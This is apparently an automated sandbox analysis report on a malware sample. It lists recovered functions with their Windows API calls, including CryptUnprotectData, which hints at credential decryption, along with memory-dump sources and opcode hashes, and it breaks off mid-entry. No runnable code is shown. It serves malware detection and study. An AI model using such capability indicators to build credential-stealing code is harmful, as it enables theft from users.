                                      Function 00607BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00F4F0F8,00000000,?,00610DF8,00000000,?,00000000,00000000), ref: 00607BF3
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 00607BFA
                                      • GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00F4F0F8,00000000,?,00610DF8,00000000,?,00000000,00000000,?), ref: 00607C0D
                                      • wsprintfA.USER32 ref: 00607C47
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateInformationProcessTimeZonewsprintf
                                      • String ID:
                                      • API String ID: 3317088062-0
                                      • Opcode ID: cbe9f478ca5567a6aa15c9c391f55678b9af3146f22d14701334c683b6ac34cb
                                      • Instruction ID: 016f5d0c454a8e3e91537a4de849241beae8bfb82bc084be20412c9f8dcbe465
                                      • Opcode Fuzzy Hash: cbe9f478ca5567a6aa15c9c391f55678b9af3146f22d14701334c683b6ac34cb
                                      • Instruction Fuzzy Hash: 22118EB1949218EFEB248B54DC45FAAB778FB44721F104395F61A932D0D7742A408F50
                                      Function 00603970 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CoCreateInstance.COMBASE(0060E120,00000000,00000001,0060E110,00000000), ref: 006039A8
                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00603A00
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ByteCharCreateInstanceMultiWide
                                      • String ID:
                                      • API String ID: 123533781-0
                                      • Opcode ID: 806b7e5f3d32b61c8b320bfc99add90f9989321a07e7f677e8a3cafb10614102
                                      • Instruction ID: 7d5a1764de83dd52a611802b1041ac163dba32dac3af4020d543fa337dc370ae
                                      • Opcode Fuzzy Hash: 806b7e5f3d32b61c8b320bfc99add90f9989321a07e7f677e8a3cafb10614102
                                      • Instruction Fuzzy Hash: 2941E770A40A289FDB24DB58CC95F9BB7B5BB48702F4041D8E609E72D0E7B16E85CF50
                                      Function 005FA2B0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005FA2D4
                                      • LocalAlloc.KERNEL32(00000040,00000000), ref: 005FA2F3
                                      • LocalFree.KERNEL32(?), ref: 005FA323
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Local$AllocCryptDataFreeUnprotect
                                      • String ID:
                                      • API String ID: 2068576380-0
                                      • Opcode ID: 5224e85cefec644d30587a7ab92b2be057a60da87e51a63c142a20cc0ef86a02
                                      • Instruction ID: 400a554913be98f36392588bd40d17f4d7cb030b80d57cf6ecf15cc899726716
                                      • Opcode Fuzzy Hash: 5224e85cefec644d30587a7ab92b2be057a60da87e51a63c142a20cc0ef86a02
                                      • Instruction Fuzzy Hash: 8B11A8B4A00209DFCB04DFA4D985EAEB7B5FB89300F108559ED1597390D734AE50CF61
                                      Function 00664BA8 Relevance: 3.4, Strings: 2, Instructions: 941COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: ?$__ZN
                                      • API String ID: 0-1427190319
                                      • Opcode ID: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
                                      • Instruction ID: 5f32f0659c0e29a5c83cfcbe11e8957a0bebdf5dfb03f7078ad2b97c9ecb98e0
                                      • Opcode Fuzzy Hash: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
                                      • Instruction Fuzzy Hash: E8723372A08B509BD714CF14C8916AABBE3EFC5310F598A1DF8A69B391D771DC41CB82
                                      Function 00645DB9 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: xn--
                                      • API String ID: 0-2826155999
                                      • Opcode ID: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
                                      • Instruction ID: a5cbb71fa32574da9b36a82dc7bc67990700bc3ea8d5cb253281187f26c504e0
                                      • Opcode Fuzzy Hash: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
                                      • Instruction Fuzzy Hash: 2EA2E4B1D042688AEF19CF58C8903EDB7B3EF56300F1842AAE4567B381D7755E85CB62
                                      Function 00644DC8 Relevance: 1.9, APIs: 1, Instructions: 411COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: __aulldiv
                                      • String ID:
                                      • API String ID: 3732870572-0
                                      • Opcode ID: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
                                      • Instruction ID: 9da57ef1a0d3f0331ae0558da14c8d43cc2d40c2dda2e0c88d4779e36350da2a
                                      • Opcode Fuzzy Hash: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
                                      • Instruction Fuzzy Hash: 75E1BE316087419FC725DE28C8817AEB7E3EFC9300F554A2DE5DA9B392DB319845CB86
                                      Function 00644868 Relevance: 1.9, APIs: 1, Instructions: 400COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: __aulldiv
                                      • String ID:
                                      • API String ID: 3732870572-0
                                      • Opcode ID: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
                                      • Instruction ID: 926af773dc7fc42e64a266ed6c20d1d3b2b119964446bd8bf228fbb9f3ece454
                                      • Opcode Fuzzy Hash: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
                                      • Instruction Fuzzy Hash: 1AE19031A087059FDB24CE18C8927AEB7E7EFC5310F158A2DE9999B351DB30EC458B46
                                      Function 0065E258 Relevance: 1.6, Strings: 1, Instructions: 383COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: UNC\
                                      • API String ID: 0-505053535
                                      • Opcode ID: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
                                      • Instruction ID: dfaa3b9888ed03da351cfbfeb2f5021e915f6b153f31d83b70fba235947b3a35
                                      • Opcode Fuzzy Hash: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
                                      • Instruction Fuzzy Hash: 41E13D71D046658EDF18CF18C8843FEBBE3AB85315F198169D8A45B392D3378E4ACB90
                                      Function 009BC9F1 Relevance: 1.4, Strings: 1, Instructions: 125COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: W8m
                                      • API String ID: 0-325996536
                                      • Opcode ID: fa125ed4b78f4da73a63ef65c1b48d501af20219ed6f292e37af69376e23b5f4
                                      • Instruction ID: 10b48058cfb31ed69bbf230e8eeb213dd3884748406b2adbc66f60cef6b5e1e7
                                      • Opcode Fuzzy Hash: fa125ed4b78f4da73a63ef65c1b48d501af20219ed6f292e37af69376e23b5f4
                                      • Instruction Fuzzy Hash: BD4139F3E092149FF3083A68EC957B6B7DADB94320F1B453DEA8593784E9791C008296
                                      Function 0061E544 Relevance: .8, Instructions: 823COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: e82fb53e6e33c1c46d6227b86d57e629e491dcb0a26417ee9a3c8d3f310dc386
                                      • Instruction ID: a49138186a77b083e5cb94475240b4407fb85c7daefe56ccdd930526846f6ec6
                                      • Opcode Fuzzy Hash: e82fb53e6e33c1c46d6227b86d57e629e491dcb0a26417ee9a3c8d3f310dc386
                                      • Instruction Fuzzy Hash: D382F1B5900F448FD365CF29C881B92B7F2BF5A300F548A2ED9EA8B751DB31A585CB50
                                      Function 00638E78 Relevance: .6, Instructions: 649COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: b14a04dd6bdce6d3c84cf2c82878dd7ecb710331ddf643e538226ead79392ace
                                      • Instruction ID: 3bd13a4c912ad7681b983e1017fd38ea7c8571fb383ebe6a2c1eae9f64f02aab
                                      • Opcode Fuzzy Hash: b14a04dd6bdce6d3c84cf2c82878dd7ecb710331ddf643e538226ead79392ace
                                      • Instruction Fuzzy Hash: E34291706047418FD729CF19C0906A5BBE3BF96314F288A6DD4868B792D7B5E885CFE0
                                      Function 0066AC28 Relevance: .5, Instructions: 501COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
